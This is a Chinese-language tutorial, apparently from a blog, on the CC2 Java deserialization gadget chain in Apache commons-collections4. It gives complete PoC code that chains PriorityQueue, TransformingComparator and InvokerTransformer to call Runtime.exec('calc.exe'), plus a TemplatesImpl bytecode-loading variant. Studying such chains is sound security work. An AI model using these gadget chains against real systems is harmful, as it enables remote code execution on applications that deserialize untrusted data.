前言

由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections

  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

commons-collections4的改动

因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies

因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

看下decorate的定义,⾮常简单:

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}

所以,我们将Gadget中出错的代码换⼀下名字:

Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

CC2

其中两个关键类:

  • java.util.PriorityQueue -
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator() TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

关于 PriorityQueue 这个数据结构的具体原理,可以参考这篇⽂章:https://www.cnblogs.com/linghu-java/p/9467805.html

开始编写POC,⾸先,还是创建Transformer:

Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new String[]{"calc.exe"}
)};
Transformer chain = new ChainedTransformer(transformers);

再创建⼀个TransformingComparator,传⼊我们的Transformer

Comparator comparator = new TransformingComparator(chain)

实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

setFieldValue(transformerChain, "iTransformers", transformers)

完整poc如下

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator; public class CC2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)}; Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain); PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2); setFieldValue(chain, "iTransformers", transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject(); }
}

CC2改进

前边说过了利⽤TemplatesImpl可以构造出⽆Transformer数组的利⽤链,可以将CC2这条链也进行改造。

public class CommonsCollections2TemplatesImpl {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.EvilTemplatesImpl.class.getName());
return clazz.toBytecode();
} public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj); setFieldValue(transformer, "iMethodName", "newTransformer"); ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close(); System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

Java安全之CC2的更多相关文章

  1. Spark案例分析

    一.需求:计算网页访问量前三名 import org.apache.spark.rdd.RDD import org.apache.spark.{SparkConf, SparkContext} /* ...

  2. java web学习总结(二十六) -------------------JSP属性范围

    所谓的属性范围就是一个属性设置之后,可以经过多少个其他页面后仍然可以访问的保存范围. 一.JSP属性范围 JSP中提供了四种属性范围,四种属性范围分别指以下四种: 当前页:一个属性只能在一个页面中取得 ...

  3. Java算法之递归打破及在真实项目中的使用实例

    开心一笑 刚才领导问开发:"你觉得这个项目的最大风险是什么",开发说:"加班猝死" , 气氛尴尬了一分钟!!! 提出问题 1.递归算法简单复习 2.如何实现递归 ...

  4. java pdu短信解码

    java pdu短信解码 长短信未验证 有兴趣的可以试试 根据python的方法改写的 /** * PDU短信解析 * * * @param pduPayload * @return */ publi ...

  5. Java学习之javassist

    1.读取和输出字节码 ClassPool pool = ClassPool.getDefault(); //会从classpath中查询该类 CtClass cc = pool.get("t ...

  6. java泛型 之 入门(interface)

    一:泛型简单介绍: (1)所谓泛型,就是变量类型的參数化. 泛型是JDK1.5中一个最重要的特征.通过引入泛型,我们将获得编译时类型的安全和执行时更小的抛出ClassCastException的可能. ...

  7. java中的反射整理

    1,什么是反射 反射机制是java语言提供的一种基础功能,它能够赋予成语在运行时进行自省的能力.通过反射我们可以直接操作类或者对象,例如:可以通过反射去获取某个对象的类的定义,属性,方法,还可以修改类 ...

  8. Java【第八篇】面向对象之高级类特性

    static 关键字 当我们编写一个类时,其实就是在描述其对象的属性和行为,而并没有产生实质上的对象,只有通过new关键字才会产生出对象,这时系统才会分配内存空间给对象,其方法才可以供外部调用.我们有 ...

  9. 第二章 Java 基本语法1

    2.1关键字 1.定义:被Java语言赋予了特殊含义,用做专门用途的字符串(单词). 2.特点:关键字中所有字母都是小写字母. 3.分类: 用于定义数据类型的关键字:byte.short.int.lo ...

随机推荐

  1. Neural ODE相关论文摘要翻译

    *****仅供个人学习记录***** Neural Ordinary Differential Equations[2019] 论文地址:[1806.07366] Neural Ordinary Di ...

  2. Java常用类的使用

    Java常用类 1. Optional 在我们的开发中,NullPointerException可谓是随时随处可见,为了避免空指针异常,我们常常需要进行 一 些防御式的检查,所以在代码中常常可见if( ...

  3. KingbaseES 匿名块如何传递参数

    匿名块的基本语法结构包括声明和执行两部分.匿名块每次提交都被重新编译和执行.因为匿名块没有名称并不在数据库中存储,所以匿名块不能直接从其他PL/SQL 块中调用. 定义语法: [ DECLARE ] ...

  4. Android开发2021.3.9日【模拟器路径】【外观字体】【简单快捷键】

    一. 1.模拟器存储路径 D:\Android\SDK\platforms(在本人的dell上) 2.使用软件 Android Studio4.2 3.注意事项 (1)修改JDK的路径为自己下载的JD ...

  5. saas 服务多语言 SDK

    简介 saas 服务一般提供了一个文档来描述提供的 OpenAPI,然会每个用户根据文档自己实现签名.调用等功能的封装,这部分会出现各种各样的问题,因此用户更希望平台直接提供一个 SDK. darab ...

  6. 清理rook-ceph

    官方步骤文档:https://rook.io/docs/rook/v1.8/ceph-teardown.html 请注意需要清理的以下资源: rook-ceph namespace: The Rook ...

  7. EFK-3: ES多实例部署

    转载自:https://mp.weixin.qq.com/s?__biz=MzUyNzk0NTI4MQ==&mid=2247483816&idx=1&sn=bfaf70613b ...

  8. JavaScript 的闭包(closure)

    以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「englyf」https://www.cnblogs.com/englyf/ 对于闭包的理解,其实可以归纳为,在创建函数时,同时创建了一 ...

  9. bilibili弹幕爬虫

    import random import requests import jieba import numpy as np from lxml import etree class SpiderBil ...

  10. 关于IDEA中Tomcat中文乱码的解决方案

    进入Tomcat/config文件夹下,打开编辑logging.properties 然后查看该文件内是否存在java.util.logging.ConsoleHandler.encoding = U ...